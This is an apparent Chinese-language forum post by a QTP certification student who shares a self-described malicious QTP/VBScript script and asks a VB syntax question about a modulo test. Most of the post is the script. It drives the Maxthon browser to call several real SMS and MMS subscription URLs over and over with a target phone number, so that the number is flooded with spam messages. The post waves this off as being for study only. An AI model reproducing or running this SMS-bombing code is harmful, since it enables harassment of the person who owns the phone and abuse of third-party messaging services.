|
大家好,因为报了考QTP的CPE认证,所以最近在看QTP,今天花了一下午加晚上的时间写出来并修改了这段恶意脚本 对了,不是说月底考试吗?怎么我还没接到通知????哪位DX知道的话告诉我
这段脚本执行起来的时候会往指定的手机发送大量的垃圾短消息,呵呵,仅供学习用,别故意恶搞人家啊,出了事我可不负责哦,我已经测试过了,我自己收到了好多垃圾消息啊
注意:
1.对象库自己加
2.要用 遨游 浏览器
程序如下:
SystemUtil.Run "D:\Program Files\Maxthon\Maxthon.exe","","d:\Program Files\Maxthon","open" '打开遨游
Window("Maxthon Start Page").WinTab("SysTabControl32").DblClick 57,15 '关闭主页
Dim num,i
num=139xxxxxxxx
Dim temp1,temp2,temp3,tmp
temp1 = "http://a.3wawa.com/s/send.aspx?a=D501727CAD13C24071D6415CE6A1AD379EC7948505369AA0&id=13025&mobile="&num
temp2 = "http://mms.sohu.com/send/mosendit.combine.php?sendtype=1&UserNum="&num&"&id=141339&ref=undefined&ztid=&pid=&ToNum="&num&"&PHONE=2507&Content="
temp3 = "http://219.235.227.22/fxunion/interface/submit.php?usernumber="&num&"&mysmsid=10019&phone_name=标准品牌&phone_type=135&doCheck=1&picid=4594&type=2&path=http://img.mms.sohu.com/mms/1660/33/8533/4f3fc92d.mid&name=阳光总在风雨后&subid=&_show_page=1&product_id=1&operator_id=1&isnewad="
'msgbox temp1
'msgbox temp2
'msgbox temp3
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''用temp1轰炸
'Window("Maxthon Start Page_2").WinEdit("Edit").Set temp1
'Window("Maxthon Start Page_2").WinEdit("Edit").Type micReturn
'wait(15)
'Dialog("Microsoft Internet Explorer").WinButton("确定").Click
'Window("三娃娃娱乐").WinTab("SysTabControl32").DblClick 77,13
i= (13030-13020)*2
msgbox "共轰炸"&i&"次"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''用tmp循环轰炸
For j=13020 to 13030
tmp = "http://a.3wawa.com/s/send.aspx?a=D501727CAD13C24071D6415CE6A1AD379EC7948505369AA0&id="&j&"&mobile="&num
Window("Maxthon Start Page_2").WinEdit("Edit").Set tmp
Window("Maxthon Start Page_2").WinEdit("Edit").Type micReturn
wait(15)
Dialog("Microsoft Internet Explorer").WinButton("确定").Click
Window("三娃娃娱乐").WinTab("SysTabControl32").DblClick 77,13
If j=13020 or 13022or 13024 or 13026 or 13028 Then
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''用temp2轰炸
Window("Maxthon Start Page_2").WinEdit("Edit").Set temp2
Window("Maxthon Start Page_2").WinEdit("Edit").Type micReturn
wait(15)
Window("彩信发送").WinTab("SysTabControl32").Select "彩信发送"
Window("彩信发送").WinTab("SysTabControl32").DblClick 74,12
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''用temp3轰炸
Window("Maxthon Start Page_2").WinEdit("Edit").Set temp3
Window("Maxthon Start Page_2").WinEdit("Edit").Type micReturn
wait(15)
Window("铃声图片下载").WinTab("SysTabControl32").Select "铃声图片下载"
Window("铃声图片下载").WinTab("SysTabControl32").DblClick 69,13
End If
Next
Window("Maxthon Start Page_2").Close '关闭遨游
程序还是挺简单的,大家还是看得懂的吧
我遇到一些问题想求达人解答:
If j=13020 or 13022or 13024 or 13026 or 13028 Then
这句话我本来想写成 if j%2=0 then...
但是%是C的语法,在VB里我该怎么表达? |
|